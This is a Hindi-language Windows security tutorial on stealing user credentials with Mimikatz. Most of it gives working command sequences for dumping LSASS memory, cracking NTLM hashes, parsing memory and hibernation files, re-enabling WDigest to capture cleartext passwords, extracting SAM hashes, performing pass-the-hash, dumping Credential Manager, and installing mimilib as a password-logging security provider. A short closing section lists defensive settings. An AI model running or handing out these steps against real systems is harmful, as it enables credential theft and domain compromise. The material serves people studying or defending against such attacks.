Computer >> कंप्यूटर ट्यूटोरियल >  >> प्रणाली >> Windows Server

Mimikatz से Windows मेमोरी से यूजर पासवर्ड डंप करें

इस लेख में, जो Windows सुरक्षा पर समर्पित एक श्रृंखला का हिस्सा है, हम Mimikatz टूल का उपयोग करके सभी सक्रिय Windows यूजर्स के पासवर्ड प्राप्त करने का एक काफी सरल तरीका सीखेंगे।

Mimikatz.exe Windows मेमोरी से प्लेन टेक्स्ट पासवर्ड, पासवर्ड हैश, Kerberos टिकट आदि निकाल सकता है। साथ ही, mimikatz आपको pass-the-hash, pass-the-ticket अटैक करने या Golden Kerberos टिकट जेनरेट करने की अनुमति देता है। Mimikatz की कार्यक्षमता Metasploit Framework में भी उपलब्ध है।

आप mimikatz को GitHub रेपो से डाउनलोड कर सकते हैं: https://github.com/gentilkiwi/mimikatz/releases/। mimikatz_trunk.zip आर्काइव को C:\Tools\mimikatz में एक्सट्रैक्ट करें। इस डायरेक्टरी में mimikatz के दो वर्जन दिखाई देंगे — x64 और x86 के लिए। अपने Windows बिटनेस के लिए वर्जन उपयोग करें।

इस लेख में, हम आपको दिखाएंगे कि mimikatz का उपयोग करके Windows Server 2016 या Windows 10 में यूजर पासवर्ड कैसे प्राप्त करें।

अस्वीकरण: इस लेख में वर्णित जानकारी और तकनीकों का उपयोग केवल सूचनात्मक उद्देश्यों के लिए किया जाना चाहिए, न कि तीसरे पक्ष के अकाउंट, डेटा और सिस्टम तक पहुंच प्राप्त करने के लिए।

Mimikatz के साथ LSASS में Windows हैश्ड पासवर्ड हैक करना

आइए Windows Server 2016 चल रहे RDS सर्वर पर Windows मेमोरी (lsass.exe प्रोसेस — Local Security Authority Subsystem Service) से लॉग इन सभी यूजर्स के पासवर्ड हैश डंप करने का प्रयास करें।

एलिवेटेड कमांड प्रॉम्प्ट में निम्न कमांड चलाएं:

  1. Mimikatz.exe को एडमिनिस्ट्रेटर के रूप में चलाएं;
  2. निम्न कमांड वर्तमान अकाउंट को प्रोसेस डीबग करने की परमिशन देगी (SeDebugPrivilege):
    privilege::debug
  3. सक्रिय यूजर सेशन सूचीबद्ध करें:
    sekurlsa::logonPasswords full
  4. मेरे मामले में सर्वर पर मेरे अकाउंट के अलावा दो यूजर्स के सक्रिय सेशन हैं: novach और administrator।
  5. उनके NTLM हैश कॉपी करें (स्क्रीनशॉट में हाइलाइटेड)।

आप mimikatz का उपयोग इंटरैक्टिवली न करके, कमांड मोड में कर सकते हैं। यूजर पासवर्ड हैश ऑटोमैटिकली प्राप्त करने और टेक्स्ट फाइल में एक्सपोर्ट करने के लिए, कमांड उपयोग करें:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

अब आप NTLM हैश डिक्रिप्ट करने के लिए किसी भी ऑफलाइन (Kali Linux में hashcat टूल है) या ऑनलाइन सर्विस का उपयोग कर सकते हैं। मैं सर्विस https://crackstation.net/ का उपयोग करूंगा।

जैसा कि आप देख सकते हैं, सर्विस ने इन NTLM हैश के मान जल्दी से ढूंढ लिए। इस प्रकार, हमें यूजर पासवर्ड प्लेन टेक्स्ट में प्राप्त हुए।

कल्पना करें कि यह कई समवर्ती यूजर्स और एक एंटरप्राइज एडमिनिस्ट्रेटर सेशन के साथ RDS होस्ट है। इस प्रकार, यदि आपके पास इस सर्वर पर लोकल एडमिन विशेषाधिकार हैं, तो आप डोमेन एडमिन पासवर्ड भी प्राप्त कर सकते हैं।

यदि आप Windows यूजर्स के लिए जटिल पासवर्ड उपयोग करते हैं, तो उन्हें डिक्रिप्ट करना बहुत अधिक कठिन होगा। इसलिए, हमेशा GPO के माध्यम से पासवर्ड जटिलता इनेबल करें और AD डोमेन में पासवर्ड की ताकत का नियमित ऑडिट करें।

जैसा कि आप देख सकते हैं, mimikatz की बदौलत हमें सभी सक्रिय यूजर्स के NTLM हैश मिल गए! कमांड सफल रही क्योंकि इस कंप्यूटर पर डिबग मोड इनेबल है, जो आपको सिस्टम की ओर से लॉन्च किए गए प्रोसेस की मेमोरी तक लो-लेवल एक्सेस के लिए वांछित प्रोसेस के लिए SeDebugPrivilege फ्लैग सेट करने की अनुमति देता है।

नोट: जून 2017 में, कई देशों में कई बड़ी कंपनियां NotPetya रैंसमवेयर से संक्रमित हुईं, जिसने बिल्ट-इन mimikatz मॉड्यूल का उपयोग यूजर्स और डोमेन एडमिन के पासवर्ड एकत्र करने के लिए किया।

Windows मेमोरी डंप से यूजर के पासवर्ड कैसे प्राप्त करें?

पासवर्ड हैश प्राप्त करने की उपरोक्त विधि काम नहीं करेगी यदि कोई एंटीवायरस इंस्टॉल है जो इंजेक्शन ब्लॉक करता है। इस मामले में, टार्गेट होस्ट पर LSASS प्रोसेस का मेमोरी डंप बनाना होगा, इसे अपने कंप्यूटर पर कॉपी करना होगा और mimikatz का उपयोग करके पासवर्ड हैश निकालने होंगे।

Windows में प्रोसेस का मेमोरी डंप बनाना काफी आसान है। Task Manager शुरू करें, lsass.exe प्रोसेस का पता लगाएं, उस पर राइट-क्लिक करें और Create Dump File चुनें।

Windows मेमोरी डंप को system32 फोल्डर में सेव करेगा।

आपको बस mimikatz का उपयोग करके डंप फाइल को पार्स करना है (आप यह कार्य दूसरे कंप्यूटर पर कर सकते हैं)। मेमोरी डंप को mimikatz में लोड करें:

Mimikatz "sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP"

डंप से यूजर नाम और उनके पासवर्ड हैश प्राप्त करें:

# sekurlsa::logonPasswords

आप psexec का उपयोग करके रिमोट कंप्यूटर से मेमोरी डंप प्राप्त कर सकते हैं, या WinRM के माध्यम से (यदि आपके पास एडमिनिस्ट्रेटर विशेषाधिकार हैं), और इससे यूजर का पासवर्ड निकाल सकते हैं।

आप procdump टूल का भी उपयोग Sysinternals से डंप प्राप्त करने के लिए कर सकते हैं:

procdump -ma lsass.exe lsass.dmp

LSASS प्रोसेस का मेमोरी डंप PowerShell में Out-Minidump.ps1 फंक्शन के साथ प्राप्त किया जा सकता है। PoSh सेशन में Out-Minidump फंक्शन इम्पोर्ट करें और LSASS प्रोसेस का मेमोरी डंप बनाएं:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Hyberfil.sys और VM पेज फाइलों से Windows पासवर्ड निकालना

मेमोरी डंप फाइलों, सिस्टम हाइबरनेशन फाइलों (hiberfil.sys), और वर्चुअल मशीन फाइलों के .vmem (वर्चुअल मशीन पेजिंग फाइलें और उनके स्नैपशॉट) से यूजर पासवर्ड निकालना भी संभव है।

इसके लिए, आपको Debugging Tool for Windows (WinDbg), mimikatz और टूल की आवश्यकता होगी जो .vmem को मेमोरी डंप फाइल में कन्वर्ट करता है (Hyper-V में, यह vm2dmp.exe या VMWare vmem-fाइल्स के लिए MoonSols Windows Memory toolkit हो सकता है)।

उदाहरण के लिए, VMWare वर्चुअल मशीन के vmem पेज फाइल को डंप में कन्वर्ट करने के लिए, इस कमांड का उपयोग करें:

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

डंप को WinDbg में इम्पोर्ट करें (File → Open Crash Dump), mimikatz लाइब्रेरी mimilib.dll लोड करें:

.load mimilib.dll

डंप में lsass.exe प्रोसेस खोजें:

!process 0 0 lsass.exe

और अंत में, टाइप करें:

.process /r /p fffffa800e0b3b30
!mimikatz

परिणामस्वरूप, आपको Windows यूजर्स की सूची, और उनके पासवर्ड के NTLM हैश, या यहां तक कि क्लियर टेक्स्ट पासवर्ड प्राप्त होंगे।

WDigest का उपयोग करके Windows पासवर्ड क्लियर-टेक्स्ट में निकालना

आप लिगेसी Windows वर्जन पर HTTP डाइजेस्ट ऑथेंटिकेशन के लिए WDigest प्रोटोकॉल का उपयोग कर सकते हैं। इस प्रोटोकॉल की मुख्य सुरक्षा खामी यह है कि यह यूजर के पासवर्ड को मेमोरी में क्लियर टेक्स्ट में स्टोर करता है, इसके हैश के बजाय। Mimikatz आपको LSASS.EXE प्रोसेस की मेमोरी से इन पासवर्ड को निकालने की अनुमति देता है।

WDigest प्रोटोकॉल Windows 10 और Windows Server 2016/2019 सहित Windows के सभी नए वर्जन में डिफ़ॉल्ट रूप से डिसेबल है। लेकिन पूरी तरह से हटाया नहीं गया। यदि आपके पास Windows में लोकल एडमिनिस्ट्रेटर परमिशन हैं, तो आप WDigest प्रोटोकॉल इनेबल कर सकते हैं, यूजर्स के लॉग इन होने की प्रतीक्षा कर सकते हैं और उनके पासवर्ड चुरा सकते हैं।

Windows पर Wdigest इनेबल करें:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

ग्रुप पॉलिसी सेटिंग्स रिफ्रेश करें:

gpupdate /force

यूजर्स के लॉग इन होने की प्रतीक्षा करें और mimikatz से उनके पासवर्ड प्राप्त करें (Windows 10 पर यूजर को Windows में दोबारा लॉग इन करने की आवश्यकता है; Windows Server 2016 पर, स्क्रीन लॉक होने के बाद सेशन अनलॉक करना पर्याप्त है):

privilege::debug
sekurlsa::wdigest

जैसा कि आप देख सकते हैं, wdigest सेक्शन में यूजर का पासवर्ड क्लियर टेक्स्ट में है।

SAM से लोकल यूजर पासवर्ड हैश निकालना

Mimikatz के साथ, आप SAM से लोकल Windows यूजर्स (बिल्ट-इन एडमिनिस्ट्रेटर अकाउंट सहित) के पासवर्ड हैश निकाल सकते हैं:

privilege::debug
token::elevate
lsadump::sam

आप रजिस्ट्री SAM हाइव से NTLM हैश भी निकाल सकते हैं।

  1. SYSTEM और SAM रजिस्ट्री हाइव को फाइलों में एक्सपोर्ट करें:
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv
  2. फिर Mimikatz का उपयोग करके पासवर्ड हैश डंप करें:
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

Mimikatz के माध्यम से Pass-the-Hash अटैक करना

यदि यूजर का पासवर्ड मजबूत है और आप उसका NTLM हैश जल्दी से डिक्रिप्ट नहीं कर सकते, तो Mimikatz का उपयोग पास-द-हैश (हैश पुन: उपयोग) अटैक करने के लिए किया जा सकता है। इस मामले में, हैश का उपयोग टार्गेट यूजर की ओर से प्रोसेस चलाने के लिए किया जा सकता है। उदाहरण के लिए, यदि आप यूजर के पासवर्ड का NTLM हैश डंप करते हैं, तो निम्न कमांड उस अकाउंट के तहत कमांड प्रॉम्प्ट चलाएगी:

privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

आप NTLM क्रेडेंशियल का पुन: उपयोग करके रिमोट कंप्यूटर पर कमांड निष्पादित करने के लिए Invoke-TheHash टूल का भी उपयोग कर सकते हैं।

Windows Credential Manager से पासवर्ड डंप करना

Windows में, आप Windows Credential Manager में पासवर्ड सेव कर सकते हैं (ये रिमोट कंप्यूटर, वेबसाइट, TERMSRV/hostname1 फॉर्मेट में RDP क्रेडेंशियल तक पहुंच के लिए पासवर्ड हो सकते हैं)। Mimikatz Credential Manager से इन पासवर्ड को निकाल सकता है और आपको दिखा सकता है:

privilege::debug
sekurlsa::credman

जैसा कि आप देख सकते हैं, सेव्ड पासवर्ड credman सेक्शन के तहत दिखाया गया है।

Windows ऑटोलॉगॉन पासवर्ड रजिस्ट्री में क्लियर टेक्स्ट में स्टोर होते हैं। सेव्ड Wi-Fi पासवर्ड निकालना भी आसान है।

Windows लॉगऑन पासवर्ड को क्लियर टेक्स्ट में डंप करना

Windows में पासवर्ड डंप करने का एक और दिलचस्प तरीका mimikatz द्वारा संचालित एक अतिरिक्त SSP प्रोवाइडर (Security Support Provider) का उपयोग करना है।

  1. Mimikatz लाइब्रेरी फाइल mimilib.dll को फोल्डर C:\Windows\System32\ में कॉपी करें;
  2. निम्न कमांड के साथ एक अतिरिक्त SPP प्रोवाइडर रजिस्टर करें:
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. जब प्रत्येक यूजर Windows में लॉग ऑन करता है, तो उनका पासवर्ड kiwissp.log फाइल में लिखा जाएगा। आप PowerShell का उपयोग करके सभी पासवर्ड प्रदर्शित कर सकते हैं:
    Get-Content C:\Windows\System32\kiwissp.log

Windows को क्रेडेंशियल डंपिंग अटैक से बचाएं

Windows 8.1 और Windows Server 2012 R2 (और नए) में, LSASS से पासवर्ड चुराने की क्षमता सीमित है। इन Windows वर्जन में डिफ़ॉल्ट रूप से LM हैश और पासवर्ड मेमोरी में स्टोर नहीं होते।

इसी कार्यक्षमता को Windows के पुराने वर्जन (7/8/2008R2/2012) में बैकपोर्ट किया गया है, जिसमें आपको विशेष अपडेट KB2871997 इंस्टॉल करना होगा (यह अपडेट सिस्टम सुरक्षा बढ़ाने के अन्य विकल्प प्रदान करता है) और रजिस्ट्री कुंजी HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest में DWORD पैरामीटर UseLogonCredential को 0 पर सेट करें (WDigest डिसेबल है)।

यदि आप इस अपडेट को इंस्टॉल करने और UseLogonCredential कुंजी सेट करने के बाद मेमोरी से पासवर्ड निकालने का प्रयास करते हैं, तो आप देखेंगे कि mimikatz creds_wdigest कमांड का उपयोग करके पासवर्ड और हैश डंप नहीं कर सकता।

ऊपर, हमने दिखाया कि यदि आपके पास लोकल एडमिनिस्ट्रेटर परमिशन हैं, तो आप इस रजिस्ट्री कुंजी को आसानी से एक कमजोर मान पर सेट कर सकते हैं। उसके बाद, आप फिर से LSA मेमोरी में पासवर्ड एक्सेस कर सकते हैं।

Mimikatz में, मेमोरी से पासवर्ड और उनके हैश प्राप्त करने के अन्य विकल्प हैं (WDigest, LM-hash, NTLM-hash, Kerberos टिकट कैप्चर करने का मॉड्यूल)। इसलिए निम्न सुरक्षा उपायों को लागू करने की सिफारिश की जाती है:

  • रिवर्सिबल एन्क्रिप्शन का उपयोग करके पासवर्ड स्टोर करने से रोकें;
  • WDigest डिसेबल करें;
  • Credential Manager में पासवर्ड सेव करने से रोकें;
  • NTLM डिसेबल करें;
  • डोमेन यूजर क्रेडेंशियल कैशिंग रोकें (CachedLogonsCount रजिस्ट्री पैरामीटर या Group Policy ऑप्शन Interactive logon policy: Number of previous logons to cache द्वारा);
  • यदि डोमेन फंक्शनल लेवल Windows Server 2012 R2 या नया है, तो आप एडमिनिस्ट्रेटर अकाउंट को विशेष Protected Users ग्रुप में जोड़ सकते हैं। इस मामले में, ऐसे यूजर्स के लिए NTLM हैश जेनरेट नहीं होंगे।
  • LSA प्रोसेस प्रोटेक्शन इनेबल करें: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f (यह सेटिंग केवल Microsoft साइन किए गए प्रोसेस को LSASS मेमोरी एक्सेस करने की अनुमति देगी, आप इस रजिस्ट्री कुंजी को GPO के माध्यम से डोमेन में डेप्लॉय कर सकते हैं);
  • LSA प्रोसेस कंटेंट की सुरक्षा के लिए Credential Guard उपयोग करें;
  • यहां तक कि लोकल एडमिन के लिए डिबग विशेषाधिकार प्राप्त करने से रोकें: GPO → Windows Settings → Security Settings → Local Policies → User Rights Assignment → Debug programs (हालांकि, यदि आपके पास LocalSystem परमिशन हैं तो इसे आसानी से बायपास किया जा सकता है)

टिप: Windows की मेमोरी को पासवर्ड और हैश निकालने से बचाने के तरीकों पर विस्तृत लेख — Windows डोमेन में mimikatz के खिलाफ बचाव के तरीके।

निष्कर्ष: एक बार फिर, हम आपको कुछ प्रमुख सुरक्षा अवधारणाओं की याद दिलाते हैं।

  • विभिन्न सेवाओं के लिए एक ही पासवर्ड का उपयोग न करें (विशेष रूप से, तीसरे पक्ष के स्वामित्व वाले RDP/RDS होस्ट तक पहुंच के लिए);
  • क्लाउड में वर्चुअल मशीन पर स्टोर किए गए अपने पासवर्ड और डेटा की सुरक्षा के बारे में सोचें, क्योंकि आप सुनिश्चित नहीं हो सकते कि हाइपरवाइजर और स्टोरेज तक किसके पास पहुंच है जिस पर वर्चुअल मशीन फाइलें स्थित हैं;
  • ग्लोबल या लोकल एडमिनिस्ट्रेटर विशेषाधिकार वाले अकाउंट की संख्या कम से कम करें (Windows वातावरण में एडमिनिस्ट्रेटर अकाउंट सुरक्षित करने की गाइड देखें);
  • कभी भी डोमेन एडमिन अकाउंट के तहत उन सर्वरों और कंप्यूटरों पर लॉग ऑन न करें जो अन्य यूजर्स के लिए सुलभ हैं।
  1. 3 तरीकों से Windows 10 से iPhone में वीडियो कैसे ट्रांसफर करें? 3 तरीकों से Windows 10 से iPhone में वीडियो कैसे ट्रांसफर करें?

    लोग अपने Windows 10 PC पर बड़ी संख्या में वीडियो स्टोर करना पसंद करते हैं ताकि बड़े स्टोरेज स्पेस और बड़ी स्क्रीन के कारण अपने वीडियो को बेहतर तरीके से मैनेज या आनंद ले सकें। हालांकि, कभी-कभी, आपको PC से iPhone में वीडियो ट्रांसफर करने की भी आवश्यकता हो सकती है, ताकि आप उन्हें कहीं भी और कभी भी आनंद

  1. विंडोज 10 डेस्कटॉप आइकन लॉक करें: उपयोगकर्ताओं को परिवर्तन करने से रोकें विंडोज 10 डेस्कटॉप आइकन लॉक करें: उपयोगकर्ताओं को परिवर्तन करने से रोकें

    विंडोज 10 में उपयोगकर्ता को डेस्कटॉप आइकन बदलने से रोकें: डिफ़ॉल्ट रूप से विंडोज 10 उपयोगकर्ता डेस्कटॉप आइकन सेटिंग्स का उपयोग करके डेस्कटॉप आइकन बदल सकते हैं लेकिन क्या होगा यदि आप उपयोगकर्ताओं को डेस्कटॉप आइकन सेटिंग्स का उपयोग करने से रोकना चाहते हैं? खैर, तो आप भाग्यशाली हैं क्योंकि आज हम चर्चा

  1. PCUnlocker: तेज़, सुरक्षित विंडोज 10 पासवर्ड रिकवरी - वापस पहुंचें PCUnlocker: तेज़, सुरक्षित विंडोज 10 पासवर्ड रिकवरी - वापस पहुंचें

    आपके कंप्यूटर की सुरक्षा के लिए पासवर्ड सेट करना बहुत महत्वपूर्ण है। यह किसी अजनबी को आपकी अनुमति के बिना आपके पीसी को एक्सेस या उपयोग नहीं करने देता। लेकिन क्या आपने कभी सोचा है कि अगर आप अपने कंप्यूटर का पासवर्ड भूल गए तो क्या होगा? उस स्थिति में, आप भी अपने कंप्यूटर को एक्सेस नहीं कर पाएंगे क्यो